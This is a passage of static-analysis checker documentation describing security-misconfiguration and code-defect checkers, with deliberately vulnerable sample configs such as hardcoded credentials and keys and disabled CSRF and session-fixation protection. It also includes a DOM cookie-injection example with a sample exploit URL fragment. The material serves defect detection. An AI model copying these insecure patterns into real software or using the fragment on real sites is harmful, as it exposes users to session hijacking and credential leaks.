</global-exceptions>
...As the following example shows, a more resilient configuration will also define a exception handler in the deployment descriptor for exceptions triggered in the JSP code.
... <error-page> <exception-type>java.lang.Throwable</exception-type> <location>/WEB-INF/pages/error.jsp</location> </error-page> ...
CONFIG.MISSING_JSF2_SECURITY_CONSTRAINT finds cases where no security constraint is defined to prevent any user from accessing the JSF 2 facelets directly. Without the security constraint, any user will be able to directly access the XHTML files (Facelets), which can lead to information leaks.
Prerequisite: This checker runs on and can generate defects on non-source code files such as
configurations. To run this checker, you must first emit the configuration by invoking
cov-emit-java --war (which is the same as
--webapp-archive) or one of the following: --findwars,
--findwars-unpacked, --findears, or
--findears-unpacked.
Disabled by default: CONFIG.MISSING_JSF2_SECURITY_CONSTRAINT is disabled by default.
To enable it, you can use the --enable option
to the cov-analyze command.
Web application security checker enablement: To enable CONFIG.MISSING_JSF2_SECURITY_CONSTRAINT
along with other Web application checkers,
use the --webapp-security
option.
This section provides one or more CONFIG.MISSING_JSF2_SECURITY_CONSTRAINT examples.
Assuming the facelets are under
/faces/, any user will be able to access them directly using
the following, for example:
http://<application context>/faces/example.xhtml
CONFIG.SPRING_SECURITY_DEBUG_MODE finds cases where debug mode for Spring Security is enabled in the XML configuration. Spring Security will log extra information in the server, some that could be sensitive and that should not be logged.
Prerequisite: This checker runs on and can generate defects on non-source code files such as
configurations. To run this checker, you must first emit the configuration by invoking
cov-emit-java --war (which is the same as
--webapp-archive) or one of the following: --findwars,
--findwars-unpacked, --findears, or
--findears-unpacked.
Disabled by default: CONFIG.SPRING_SECURITY_DEBUG_MODE is disabled by default.
To enable it, you can use the --enable option
to the cov-analyze command.
Web application security checker enablement: To enable CONFIG.SPRING_SECURITY_DEBUG_MODE
along with other Web application checkers,
use the --webapp-security
option.
This section provides one or more CONFIG.SPRING_SECURITY_DEBUG_MODE examples.
The following Spring Security configuration shows the debug flag being set.
<beans:beans xmlns="http://www.springframework.org/schema/security"
xmlns:beans="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.springframework.org/schema/beans
http://www.springframework.org/schema/beans/spring-beans-3.0.xsd
http://www.springframework.org/schema/security
http://www.springframework.org/schema/security/spring-security.xsd">
<debug /> <!-- // A defect is reported here -->
<global-method-security pre-post-annotations="enabled" />
...
</beans:beans>CONFIG.SPRING_SECURITY_DISABLE_AUTH_TAGS
finds cases where the Spring Security configuration explicitly disables the effect of
the authorize JSP tag. When the property spring.security.disableUISecurity
is set, the content of the authorize tags will not be hidden from the users.
Prerequisite: This checker runs on and can generate defects on non-source code files such as
configurations. To run this checker, you must first emit the configuration by invoking
cov-emit-java --war (which is the same as
--webapp-archive) or one of the following: --findwars,
--findwars-unpacked, --findears, or
--findears-unpacked.
Disabled by default: CONFIG.SPRING_SECURITY_DISABLE_AUTH_TAGS is disabled by default.
To enable it, you can use the --enable option
to the cov-analyze command.
Web application security checker enablement: To enable CONFIG.SPRING_SECURITY_DISABLE_AUTH_TAGS
along with other Web application checkers,
use the --webapp-security
option.
This section provides one or more CONFIG.SPRING_SECURITY_DISABLE_AUTH_TAGS examples.
The following configuration set disables Spring UI Security:
spring.security.disableUISecurity = true
Disabling pring UI Security allows the content of the following authorize
JSP tag to be displayed to any user.
<%@ taglib prefix="sec" uri="http://www.springframework.org/security/tags" %>
<sec:authorize access="hasRole('supervisor')">
Should only be visible to supervisors: ${secret_info}
</sec:authorize>CONFIG.SPRING_SECURITY_HARDCODED_CREDENTIALS finds cases where credentials are hardcoded in the Spring Security configuration. The checker currently inspects the authentication-manager and the different LDAP configurations available by Spring Security to find the cases of hardcoded credentials. Hardcoded credentials are easy to forget about, and can leave backdoors to the application. Even if, in these cases, the credentials are not hardcoded in source code, it is a best practice to externalize them into, for example, a properties file.
Prerequisite: This checker runs on and can generate defects on non-source code files such as
configurations. To run this checker, you must first emit the configuration by invoking
cov-emit-java --war (which is the same as
--webapp-archive) or one of the following: --findwars,
--findwars-unpacked, --findears, or
--findears-unpacked.
Disabled by default: CONFIG.SPRING_SECURITY_HARDCODED_CREDENTIALS is disabled by default.
To enable it, you can use the --enable option
to the cov-analyze command.
Web application security checker enablement: To enable CONFIG.SPRING_SECURITY_HARDCODED_CREDENTIALS
along with other Web application checkers,
use the --webapp-security
option.
This section provides one or more CONFIG.SPRING_SECURITY_HARDCODED_CREDENTIALS examples.
The following example shows a LDAP server configuration using a hardcoded credential.
<beans
xmlns="http://www.springframework.org/schema/beans"
xmlns:s="http://www.springframework.org/schema/security"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.springframework.org/schema/beans
http://www.springframework.org/schema/beans/spring-beans-3.0.xsd
http://www.springframework.org/schema/security
http://www.springframework.org/schema/security/spring-security.xsd">
...
<bean id="contextSource"
class="org.springframework.security.ldap.DefaultSpringSecurityContextSource">
<constructor-arg value="ldap://example.com:389/
ou=mydepartment,o=mycompany,dc=com" />
<property name="userDn"
value="uid=myUser,ou=Users,ou=mydepartment,o=mycompany,dc=ca" />
<property name="password" value="myPassword" /> <!-- Defect here. -->
</bean>
...
</beans>CONFIG.SPRING_SECURITY_REMEMBER_ME_HARDCODED_KEY
finds cases where the Spring Security TokenBasedRememberMeServices property
is configured to use a hardcoded key. The severity of having such a hardcoded
remember-me key mostly depends on the deployment model of the
application. If the application is meant to have multiple instances for different
purposes, these instances should use a different remember-me keys.
Prerequisite: This checker runs on and can generate defects on non-source code files such as
configurations. To run this checker, you must first emit the configuration by invoking
cov-emit-java --war (which is the same as
--webapp-archive) or one of the following: --findwars,
--findwars-unpacked, --findears, or
--findears-unpacked.
Disabled by default: CONFIG.SPRING_SECURITY_REMEMBER_ME_HARDCODED_KEY is disabled by default.
To enable it, you can use the --enable option
to the cov-analyze command.
Web application security checker enablement: To enable CONFIG.SPRING_SECURITY_REMEMBER_ME_HARDCODED_KEY
along with other Web application checkers,
use the --webapp-security
option.
This section provides one or more CONFIG.SPRING_SECURITY_REMEMBER_ME_HARDCODED_KEY examples.
The following Spring Security configuration
shows the use of hardcoded remember-me key.
<beans:beans
xmlns="http://www.springframework.org/schema/security"
xmlns:beans="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.springframework.org/schema/beans
http://www.springframework.org/schema/beans/spring-beans-3.0.xsd
http://www.springframework.org/schema/security
http://www.springframework.org/schema/security/spring-security.xsd">
<beans:bean id="rememberMeServices"
class="org.springframework.security.web.authentication.
rememberme.TokenBasedRememberMeServices">
<beans:property name="someUserService" ref="SomeUserService"/>
<beans:property name="key" value="hardcoded_key"/> <!-- Defect here. -->
</beans:bean>
</beans:beans>CONFIG.SPRING_SECURITY_SESSION_FIXATION finds cases where Spring Security session fixation mitigation is explicitly disabled. Spring Security comes with default protection against session fixation attacks. Disabling the features will leave the application vulnerable to session fixations.
Prerequisite: This checker runs on and can generate defects on non-source code files such as
configurations. To run this checker, you must first emit the configuration by invoking
cov-emit-java --war (which is the same as
--webapp-archive) or one of the following: --findwars,
--findwars-unpacked, --findears, or
--findears-unpacked.
Disabled by default: CONFIG.SPRING_SECURITY_SESSION_FIXATION is disabled by default.
To enable it, you can use the --enable option
to the cov-analyze command.
Web application security checker enablement: To enable CONFIG.SPRING_SECURITY_SESSION_FIXATION
along with other Web application checkers,
use the --webapp-security
option.
This section provides one or more CONFIG.SPRING_SECURITY_SESSION_FIXATION examples.
The following Spring Security configuration
shows that session-fixation-protection is disabled.
<beans:beans xmlns="http://www.springframework.org/schema/security"
xmlns:beans="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.springframework.org/schema/beans
http://www.springframework.org/schema/beans/spring-beans-3.0.xsd
http://www.springframework.org/schema/security
http://www.springframework.org/schema/security/spring-security.xsd">
<http use-expressions="true">
<logout logout-success-url="/signout.jsp" delete-cookies="JSESSIONID"/>
<session-management invalid-session-url="/timeout.jsp"
session-fixation-protection="none">
<concurrency-control max-sessions="1" error-if-maximum-exceeded="true" />
</session-management>
</http>
...
</beans:beans>CONFIG.STRUTS2_CONFIG_BROWSER_PLUGIN
finds cases where the Struts 2 config-browser plugin is used by the
application. The config-browser plugin can disclose Action mappings and
configuration information to any user.
Prerequisite: This checker runs on and can generate defects on non-source code files such as
configurations. To run this checker, you must first emit the configuration by invoking
cov-emit-java --war (which is the same as
--webapp-archive) or one of the following: --findwars,
--findwars-unpacked, --findears, or
--findears-unpacked.
Disabled by default: CONFIG.STRUTS2_CONFIG_BROWSER_PLUGIN is disabled by default.
To enable it, you can use the --enable option
to the cov-analyze command.
Web application security checker enablement: To enable CONFIG.STRUTS2_CONFIG_BROWSER_PLUGIN
along with other Web application checkers,
use the --webapp-security
option.
This section provides one or more CONFIG.STRUTS2_CONFIG_BROWSER_PLUGIN examples.
The following example shows the inclusion of
struts2-config-browser-plugin in the Maven configuration.
<dependency>
<groupId>org.apache.struts</groupId>
<artifactId>struts2-config-browser-plugin</artifactId>
<version>${struts2.version}</version>
<scope>provided</scope>
</dependency>CONFIG.STRUTS2_DYNAMIC_METHOD_INVOCATION
finds cases where the Struts 2 DynamicMethodInvocation property is enabled.
Enabling DynamicMethodInvocation makes all public, zero-parameter methods
callable by a user, which can lead to unexpected behavior.
Prerequisite: This checker runs on and can generate defects on non-source code files such as
configurations. To run this checker, you must first emit the configuration by invoking
cov-emit-java --war (which is the same as
--webapp-archive) or one of the following: --findwars,
--findwars-unpacked, --findears, or
--findears-unpacked.
Disabled by default: CONFIG.STRUTS2_DYNAMIC_METHOD_INVOCATION is disabled by default.
To enable it, you can use the --enable option
to the cov-analyze command.
Web application security checker enablement: To enable CONFIG.STRUTS2_DYNAMIC_METHOD_INVOCATION
along with other Web application checkers,
use the --webapp-security
option.
This section provides one or more CONFIG.STRUTS2_DYNAMIC_METHOD_INVOCATION examples.
The following example shows a Struts 2 XML
configuration that enables DynamicMethodInvocation.
<!DOCTYPE struts PUBLIC
"-//Apache Software Foundation//DTD Struts Configuration 2.1.7//EN"
"http://struts.apache.org/dtds/struts-2.1.7.dtd">
<struts>
<constant name="struts.custom.i18n.resources" value="global" />
<constant name="struts.enable.DynamicMethodInvocation" value="true" />
...
</struts>CONFIG.STRUTS2_ENABLED_DEV_MODE
finds cases where the Struts 2 devMode property is enabled. The checker
inspects Struts properties or XML configuration files to find this case. With
devMode enabled, the application can disclose sensitive debugging and
logging information to unauthorized users.
Prerequisite: This checker runs on and can generate defects on non-source code files such as
configurations. To run this checker, you must first emit the configuration by invoking
cov-emit-java --war (which is the same as
--webapp-archive) or one of the following: --findwars,
--findwars-unpacked, --findears, or
--findears-unpacked.
Disabled by default: CONFIG.STRUTS2_ENABLED_DEV_MODE is disabled by default.
To enable it, you can use the --enable option
to the cov-analyze command.
Web application security checker enablement: To enable CONFIG.STRUTS2_ENABLED_DEV_MODE
along with other Web application checkers,
use the --webapp-security
option.
This section provides one or more CONFIG.STRUTS2_ENABLED_DEV_MODE examples.
Because the following Struts 2 configuration
properties file enables devMode, the checker will report a defect.
### when set to true, Struts will act ### much more friendly for developers. This includes: ### - struts.i18n.reload = true ### - struts.configuration.xml.reload = true ### - raising various debug or ignorable problems to errors ### For example: normally a request to foo.action?someUnknownField=true should ### be ignored (given that any value can come from the web and it ### should not be trusted). However, during development, it may be ### useful to know when these errors are happening and be told of ### them right away. struts.devMode = true
The CONFIG.SYMFONY_CSRF_PROTECTION_DISABLED checker identifies Symfony applications with cross-site-request forgery (CSRF) protection disabled. Enabling CSRF protection is recommended for all applications that are not strictly read-only.
CSRF is an attack that exploits a web client's authenticated session to perform unwanted actions on a remote server. Typically, a user will unknowingly load a malicious web page that initiates requests with side effects. Because user cookies accompany requests to the site, active session identifiers also accompany the malicious request. This is the case even if the request originates from content in another site.
On the server, a successful CSRF attach is very difficult to detect and to distinguish from a legitimate user action: Both transactions originate from the user's browser, and both transactions include proper session identifiers. Recovering from a CSRF attack is equally difficult.
Disabled by default: CONFIG.SYMFONY_CSRF_PROTECTION_DISABLED is disabled by default.
To enable it, you can use the --enable option
to the cov-analyze command.
Web application security checker enablement: To enable CONFIG.SYMFONY_CSRF_PROTECTION_DISABLED
along with other Web application checkers,
use the --webapp-security
option.
CONFIG.SYMFONY_CSRF_PROTECTION_DISABLED shows the line in the Symfony configuration that disables CSRF protection.
This section provides one or more CONFIG.SYMFONY_CSRF_PROTECTION_DISABLED examples.
CSRF protection in Symfony is enabled by default. CONFIG.SYMFONY_CSRF_PROTECTION_DISABLED reports a defect on any Symfony configuration, like the one in the following example, that explicitly disables CSRF protection.
# app/config/config.yml
# [ ... ]
framework:
# [ ... ]
csrf_protection: false
# [ ... ]
# [ ... ]CONFIG.UNSAFE_SESSION_TIMEOUT
finds cases where web.xml files set the
<session-timeout> element to -1, which means
that a session will never expire. It is a best practice to set session timeout to the
lowest possible value depending on the context of the application. Most Web
administrators set this value to 8 minutes.
Disabled by default: CONFIG.UNSAFE_SESSION_TIMEOUT is disabled by default.
To enable it, you can use the --enable option
to the cov-analyze command.
Web application security checker enablement: To enable CONFIG.UNSAFE_SESSION_TIMEOUT
along with other Web application checkers,
use the --webapp-security
option.
CONFIG.UNSAFE_SESSION_TIMEOUT defects have a single event that identifies the security misconfiguration.
This section provides one or more CONFIG.UNSAFE_SESSION_TIMEOUT examples.
<web-app>
<session-config>
<session-timeout>-1</session-timeout> // Defect here.
</session-config>
</web-app>
<web-app>
<session-config>
<session-timeout>8</session-timeout> // No defect here.
</session-config>
</web-app>Supported Languages: C, C++, C#, Java, JavaScript, Objective-C, Objective-C++, PHP, Python, Ruby, Swift, and Scala
CONSTANT_EXPRESSION_RESULT
finds many cases where an expression always evaluates to one particular value, but it
looks like it is intended to evaluate to different values because it involves at least
one variable. For example, the fragment if (x|1) appears to be trying to
test the least significant bit of x, but the code uses bitwise OR rather
than AND, so the condition always evaluates to true. The
checker is tuned to avoid reporting false positives in code that uses conditional
compilation, but the associated heuristics can be controlled through checker
options.
Enabled by default: CONSTANT_EXPRESSION_RESULT is enabled by default. For enablement/disablement details and options, see Section 1.3, “Enabling Checkers”.
CONSTANT_EXPRESSION_RESULT finds expressions in which:
An operator is applied to one or more sub-expressions.
At least one of the operands is not a constant.
The result of the operation is constant at runtime, or the operation is unnecessary because its operands are the same.
Such cases are very likely to be bugs. They often result from one of the following errors:
Operator Confusion: && or || was written
where & or | was intended, or vice versa.
Precedence Confusion: Operator precedence rules cause the result to differ from what was intended.
Type Size or Coercion Confusion: The value of a variable is effectively constant due to a loss of precision.
Truth Value Confusion: The language does not support the common equivalence
between 0 and false.
Copy/Paste Errors: Both operands are the same but were intended to be different.
Unnecessary Complexity: A simpler expression can achieve the same result.
A CONSTANT_EXPRESSION_RESULT defect shows an expression that contains runtime variables but whose result value does not vary at runtime. Alternatively, it shows an expression whose two operands will have the same value at runtime, and whose result value is therefore predictable.
This section provides one or more CONSTANT_EXPRESSION_RESULT examples.
In the following example, regardless of the actual value of flags,
!flags can only yield 0 or 1, and 0 or 1 bitwise AND with 2 always
yields 0:
#define FLAG 2 extern int flags; if (!flags & FLAG) // Defect: always yields 0
The correct expression in this example was likely:
!(flags & 2)
The following example is always true, because it is interpreted as (a == b)
? 1 : 2, such that both possible results are non-zero:
if (a == b ? 1 : 2)
In the following example, regardless of the actual value of flags,
once the additional 1 bit from FLAG is ORed (with the |
operator) into it, the result can never be zero.
Example:
public const int FLAG = 1;
public void Example1(int flags)
{
if ((flags | FLAG) != 0) {
// ...
}
}The correct expression in this example was likely:
if ((flags & FLAG) != 0)
In the following example, the bit, 0x10, that is being tested in
someBits is different than the only bit, 1, in the
value that the | expression is being compared with, so the two can
never be equal.
public void Example2(int someBits)
{
if ((someBits | 0x10) == 1) {
// ...
}
}In the following example, regardless of the actual value of flags,
once the additional 1 bit from FLAG is or-ed into it, the
result can never be zero:
int flags;
static final int FLAG = 1;
...
if ((flags | FLAG) != 0) // Defect: always trueThe correct expression in this example was likely:
if ((flags & FLAG) != 0)
In the following example, the bit, 0x10, that is being tested in
someBits is different than the only bit, 1, in the
value the & expression is being compared with, so the two
can never be equal.
int someBits; ... if ((someBits & 0x10) == 1) // Defect: always false
The following example pointlessly tests o1 twice and fails to test
o2, as was probably intended:
void myMethod(Object o1, Object o2) {
if ((o1 != null) && (o1 != null)) // Defect: pointless expression"In the following example, a typeof operation is compared against
something other than a string when the developer probably intended to test the
quoted string, "undefined", instead.
if (typeof s === undefined) { // Defect: always falsefunction test($val) {
if (! $val === null) { // A CONSTANT_EXPRESSION_RESULT here ('!==' is intended)
return;
...
}def test(val):
if ~(val & 1): # A CONSTANT_EXPRESSION_RESULT here ('~' probably should be 'not')
return None
...def test(val) z() if ~(s == 0) # A CONSTANT_EXPRESSION_RESULT here. '!(s == 0)' is intended. end
This section describes one or more CONSTANT_EXPRESSION_RESULT options.
You can set specific checker option values by passing them with --checker-option to the
cov-analyze command. For details, refer to the Coverity 2018.09 Command Reference.
CONSTANT_EXPRESSION_RESULT:report_bit_and_with_zero:<boolean> - If
this option is set to true, the
checker treats bitwise AND (&) expressions with 0 as defects.
Defaults to
CONSTANT_EXPRESSION_RESULT:report_bit_and_with_zero:false (for C, C++,
JavaScript, Objective-C, and Objective-C++). Defaults to
CONSTANT_EXPRESSION_RESULT:report_bit_and_with_zero:true (for C#, Java,
PHP, Python, Swift, and Scala).
This checker option is automatically set to true
if the --aggressiveness-level option of the cov-analyze command is set
to medium (or to high).
C/C++ Example:
#if CONFIG_A
#define FLAG 1
#elif CONFIG_B
#define FLAG 0
#endif
...
if (flags & FLAG) // Defect: only if
// report_bit_and_with_zero option:true set
By default, these cases are not reported as defects because some programs have
run-time flags that are only used in certain configurations, and configurations
that do not use those flags define them to be 0, essentially causing any code
that depends on them to be compiled out. In the previous example, for
configuration CONFIG_B, flags & FLAG is always false (0), but
this is intentional.
Bitwise AND of expressions with 0, if they occur entirely within macro
expansions, are not reported as defects. To include these, use the
report_bit_and_with_zero_in_macros:true option (see
next).
C# Example:
public enum MyFlags
{
FLAG0 = 0,
FLAG1 = 1,
// ...
FLAG8 = 128
}
public void BitAndWithZero(MyFlags flags, int i)
{
if ((flags & MyFlags.FLAG0) != 0) {
// ...
}
int j = 127 & 128 & i;
int k = 2 & i & 1;
}The result of flags & MyFlags.FLAG0 will always be
0 since MyFlags.FLAG0 is 0.
Similarly, 127 (0x7f) & 128 (0x80) share no bits in common, so
when ANDed together (by using the & operator) produce
0; i is irrelevant, which was probably not
intended.
Java Example:
static final int FLAG = 0;
...
if (flags & FLAG) // Defect: only if
// report_bit_and_with_zero option:true setCONSTANT_EXPRESSION_RESULT:report_bit_and_with_zero_in_macros:<boolean>
- When this option is set to true, the checker treats bitwise AND
expressions with 0 as defects, even if they occur entirely within macro
expansions. Defaults to
CONSTANT_EXPRESSION_RESULT:report_bit_and_with_zero_in_macros:false (C and
C++ only)..
This checker option is automatically set to true
if the --aggressiveness-level option of the cov-analyze command is set
to high.
CONSTANT_EXPRESSION_RESULT:report_constant_logical_operands:<boolean>
- When this option is set to true, the checker reports constructs
where, in a logical AND (&&) or logical OR
(||) context, one of the operands is a constant expression. Defaults to
CONSTANT_EXPRESSION_RESULT:report_constant_logical_operands:false
for C, C++, C#, Java, Objective-C, Objective-C++, PHP,
Swift, and Scala. Does not apply to other languages.
This checker option is automatically set to true
if the --aggressiveness-level option of the cov-analyze command is set
to medium (or to high).
C/C++ Example:
#define CONFIG_FLAG0 1
#define CONFIG_FLAG1 2
...
#define CONFIG_FLAG7 8
/* The current configuration: */
#define CONFIG_FLAGS (CONFIG_FLAG0 | CONFIG_FLAG1 | CONFIG_FLAG5)
#define THING2_ENABLED (CONFIG_FLAGS & CONFIG_FLAG2)
...
if (THING2_ENABLED && do_something_for_thing2())
...Since THING2_ENABLED evaluates to 0, the following expression is
always false (0), but this issue is not reported by default because it is
intentional that, in some configurations, THING2_ENABLED is 0.
THING2_ENABLED && do_something_for_thing2()
Even when this option is enabled, these defects are not normally reported if
they occur entirely within macro expansions. To report these defects in macro
expansions, use the report_constant_logical_operands_in_macros
option.
C# Example:
Since SOME_FLAGS & MyFlags.FLAG3 evaluates to 0
in the following example, (SOME_FLAGS & MyFlags.FLAG3) != 0 &&
otherCondition will evaluate to false. If this sort of
construct is intentional, you might want to disable this option.
public const MyFlags SOME_FLAGS =
MyFlags.FLAG1 | MyFlags.FLAG2 | MyFlags.FLAG4;
public void ResultIndependentOfOperands(bool otherCondition)
{
if ((SOME_FLAGS & MyFlags.FLAG3) != 0 && otherCondition) {
// ...
}
}Java Example:
Since SOME_FLAGS & FLAG2" evaluates to 0
in the following example, (SOME_FLAGS & FLAG2) != 0
will always evaluate to false, and the entire expression (SOME_FLAGS & FLAG2) !=
0 && doSomething2() will evaluate to false. If this sort
of construct is used intentionally, you might want to disable this
option.
static final int FLAG0 = 1;
static final int FLAG1 = 2;
...
static final int FLAG7 = 128;
...
static final int SOME_FLAGS = FLAG0 | FLAG1 | FLAG5;
...
if ((SOME_FLAGS & FLAG2) != 0 && doSomething2())
...CONSTANT_EXPRESSION_RESULT:report_constant_logical_operands_in_macros:<boolean>
- When this option is set to true, the checker reports the same
kind of problems found by the report_constant_logical_operands
option, even if they occur entirely within macro expansions. Defaults to
CONSTANT_EXPRESSION_RESULT:report_constant_logical_operands_in_macros:false
(C and C++ only). Does not apply to
other languages.
This checker option is automatically set to true
if the --aggressiveness-level option of the cov-analyze command is set
to high.
CONSTANT_EXPRESSION_RESULT:report_unnecessary_op_assign:<boolean> -
When this option is set to true, the checker reports
&= or |= operations that assign a constant
value and thus can be replaced with a simple assignment. Defaults to
CONSTANT_EXPRESSION_RESULT:report_unnecessary_op_assign:false (all
languages except for Ruby).
This checker option is automatically set to true
if the --aggressiveness-level option of the cov-analyze command is set
to high.
C/C++ Example:
struct s {
unsigned int oneBitField : 1; /* a one-bit field */
};
struct s *p;
…
p->oneBitField |= 1;C# Example:
public const ushort MASK = 0xffff;
public void UnnecessaryOpAssign(ushort us)
{
us |= MASK;
}The result of |= simply assigns 0xffff to
us.
Java Example:
static final short MASK = -1;
public void UnnecessaryOpAssign(short s)
{
s |= MASK;
}This section describes one or more events produced by the CONSTANT_EXPRESSION_RESULT checker.
bit_and_with_zero - Bitwise AND of expression with zero.
Appears when the
report_bit_and_with_zero option is set.
pointless_expression - The same non-constant expression
occurs on both sides of an && or
|| operator. Such an expression evaluates to the
same thing as either of its identical operands. Often, one of these operands was
meant to be different from the other.
result_independent_of_operands - The expression has a
constant value, regardless of the value of the operands.
For a subset of such events, the checker identifies likely programming errors that triggered the event:
extra_high_bits - The right-hand side of an
&= or |= expression is of a wider type than the left-hand
side and has high-order bits set that will not affect the left-hand
side.
Example:
short_variable |= 0x10000; /* No effect on 'short_variable' */
logical_vs_bitwise - A logical operator, such as
negation (!), appears to have been substituted for a
bitwise operator, such as complement (~), or vice versa.
This is a specific case of
result_independent_of_operands where the likely
root cause can be deduced with certainty.
Example:
#define FLAG1 1 #define FLAG2 2 #define FLAG3 4 #define FLAGS (FLAG1 | FLAG2 | FLAG3) /* Defect: assigns 0 rather than 0xfffffff8 */ int supposedToBeBitwiseComplementOfFLAGS = !FLAGS;
missing_parentheses - The operator precedence
statement requires a set of parentheses.
Example:
!var & FLAGS /* Did you intend "!(var & FLAGS)" ? */
operator_confusion - One operator was substituted for
another.
Example:
(var << 8) & 0xff /* Did you intend '>>' instead of '<<'? */
same_on_both_sides - The result of the expression is always
the same because both operands of certain binary operations, such as comparison
or subtraction, are the same expression. For example, the programmer might have
intended to write the second example instead of the first one.
Unintended code:
if (something != something) ...
Intended code:
if (something != anotherThing)
...These defects are an exception to the rule that all expressions reported by this checker have constants results. Although the result is usually not constant, it also not likely to be what was intended.
unnecessary_op_assign - An operation (&= or
|=) assigns a constant value. This event appears when the option
report_unnecessary_op_assign is set.
Supported Languages: JavaScript
COOKIE_INJECTION reports a defect in code that uses a user-controllable string to construct a cookie. Such code might allow an attacker to set a session ID (session fixation), change the scope or expiration time of a cookie, or otherwise affect the application's behavior by setting new cookies.
The current design of cookies has no way to identify how a cookie was set. Therefore, an attacker who is able to inject cookies will be able to manipulate subsequent transactions that use the cookie.
Disabled by default: COOKIE_INJECTION is disabled by default.
To enable it, you can use the --enable option
to the cov-analyze command.
Web application security checker enablement: To enable COOKIE_INJECTION
along with other Web application checkers,
use the --webapp-security
option.
A COOKIE_INJECTION defect shows a dataflow path by which untrusted (tainted) data makes
its way into a cookie. The path starts at a source of untrusted data, such as a reading
a property of the URL that an attacker might control (such as,
window.location.hash) or data from a different frame. From there, the
events in the defect show how this tainted data flows through the program, for example,
from the argument of a function call to the parameter of the called function. The final
part of the path shows the data flowing into the cookie.
This section provides one or more COOKIE_INJECTION examples.
//Extract a value from key=value type strings
function extract(str, key) {
if (str == null) return '';
var keyStart = str.indexOf(key + "=");
if (-1 === keyStart) return '';
var valStart = 1 + str.indexOf("=", keyStart);
var valEnd = str.indexOf("&", keyStart);
var val = -1 === valEnd ? str.substring(valStart) : str.substring(valStart, valEnd);
return val;
}
//Set the user's favorite background color
function doColor() {
var h = location.hash.substring(1);
if (h.indexOf("faveColor=") >= 0) {
document.cookie = h; // Defect here
}
var faveColor = extract(document.cookie, "faveColor");
document.bgColor = faveColor;
console.log(document.cookie);
}
window.onhashchange = doColor;Example exploit: Append the following fragment to the page URL to set the
sessionid cookie:
#sessionid=42;faveColor=red
This section describes one or more COOKIE_INJECTION options.
You can set specific checker option values by passing them with --checker-option to the
cov-analyze command. For details, refer to the Coverity 2018.09 Command Reference.
COOKIE_INJECTION:distrust_all:<boolean> - Setting this
option to true is equivalent to setting all trust_* checker options
for this checker to false. Defaults to
COOKIE_INJECTION:distrust_all:false.
This checker option is automatically set to true if the
--webapp-security-aggressiveness-level option of the
cov-analyze command is set to high.
COOKIE_INJECTION:trust_js_client_cookie:<boolean> -
When this option is set to false, the analysis does not trust data from cookies
in client-side JavaScript code, for example from document.cookie.
This option was formerly called trust_client_cookie. Defaults to
COOKIE_INJECTION:trust_js_client_cookie:true.
COOKIE_INJECTION:trust_js_client_external:<boolean> -
When this option is set to false, the analysis
does not trust data from the response to an XMLHttpRequest or similar in
client-side JavaScript code. Note: this option was formerly called
trust_external. Defaults to
COOKIE_INJECTION:trust_js_client_external:false.
COOKIE_INJECTION:trust_js_client_html_element:<boolean> -
When this option is set to false, the analysis
does not trust data from user input on HTML elements such as
textarea and input elements in client-side
JavaScript code. Defaults to
COOKIE_INJECTION:trust_js_client_html_element:true.
COOKIE_INJECTION:trust_js_client_http_header:<boolean>
- When this option is set to false, the analysis does not trust data from HTTP
response headers on the response to an XMLHttpRequest or similar in
client-side JavaScript code. Defaults to
COOKIE_INJECTION:trust_js_client_http_header:true.
COOKIE_INJECTION:trust_js_client_http_referer:<boolean>
- When this option is set to false, the analysis does not trust data from the
'referer' HTTP header (from document.referrer) in client-side
JavaScript code. Defaults to
COOKIE_INJECTION:trust_js_client_http_referer:false.
COOKIE_INJECTION:trust_js_client_other_origin:<boolean>
- When this option is set to false, the analysis does not trust data from
content in another frame or from another origin, for instance from
window.name, in client-side JavaScript code. Defaults to
COOKIE_INJECTION:trust_js_client_other_origin:false.
COOKIE_INJECTION:trust_js_client_url_query_or_fragment:<boolean>
- When this option is set to false, the analysis does not trust data from the
query or fragment part of the URL, for instance from location.hash
or location.query, in client-side JavaScript code. Defaults to
COOKIE_INJECTION:trust_js_client_url_query_or_fragment:false.
Supported Languages: C, C++, C#, Java, JavaScript, Objective-C, Objective-C++, PHP, Python, Ruby, Scala, Swift, and Visual Basic
COPY_PASTE_ERROR finds many instances in which a section of code was copied and pasted, and a systematic change was made to the copy. However, because that change was incomplete, it unintentionally left some portions of the copy unchanged.
Currently, the checker reports when the programmer intended to rename an identifier but forgot to change one instance. Note that the checker is not intended to report all instances of copy-pasting, only those that contain an error.
Enabled by default: COPY_PASTE_ERROR is enabled by default. For enablement/disablement details and options, see Section 1.3, “Enabling Checkers”.
A COPY_PASTE_ERROR defect shows two or more pieces of code having the same structure. It includes an "original copy" and zero or more examples where the original copy has been copy-pasted and updated. The main event shows a piece of code with the same structure as the "original copy" but where not every occurrence of an identifier in the original copy has been updated.
This section provides one or more COPY_PASTE_ERROR examples.
The following example shows a copy-paste defect where the second instance of
a should be replaced with b.
class CopyPasteError {
int square(int x) {
return x*x;
}
int example(int a, int b, int x, int y) {
int result = 0;
if (a > 0) {
result = square(a) + square(x);
}
if (b > 0) {
// "square(a)" should read "square(b)"
result = square(a) + square(y);
}
return result;
}
};class TestCopyPasteError {
bool foo(int k) { return true; }
bool bar(int k) { return true; }
void stuff() { }
static readonly int key1 = 3, key2 = 5;
void bar() {
if (foo(key1) && bar(key1)) { stuff(); }
// A COPY_PASTE_ERROR defect occurs here.
if (foo(key2) && bar(key1)) { stuff(); }
}
}The following example shows a copy-paste defect in Visual Basic code.
Class TestCopyPasteError
Private Function Foo(k As Integer) As Boolean
Return True
End Function
Private Function Bar(k As Integer) As Boolean
Return True
End Function
Private Sub Stuff()
End Sub
Shared ReadOnly key1 As Integer = 3, key2 As Integer = 5
Private Sub Bar()
' The original code is here
If foo(key1) AndAlso bar(key1) Then
stuff()
End If
' A COPY_PASTE_ERROR defect occurs here: 'key1' in the right operand should be changed to 'key2'
If foo(key2) AndAlso bar(key1) Then
stuff()
End If
End Sub
End Classfunction copyPasteError(arr1, arr2) {
var ret = 10;
if(Array.isArray(arr1) && arr1.length > 0 && typeof arr1[0] === "number") {
ret += arr1[0];
}
if(Array.isArray(arr2) && arr2.length > 0 && typeof arr1[0] === "number") {
// Defect due to arr1[0]
ret += arr2[0];
}
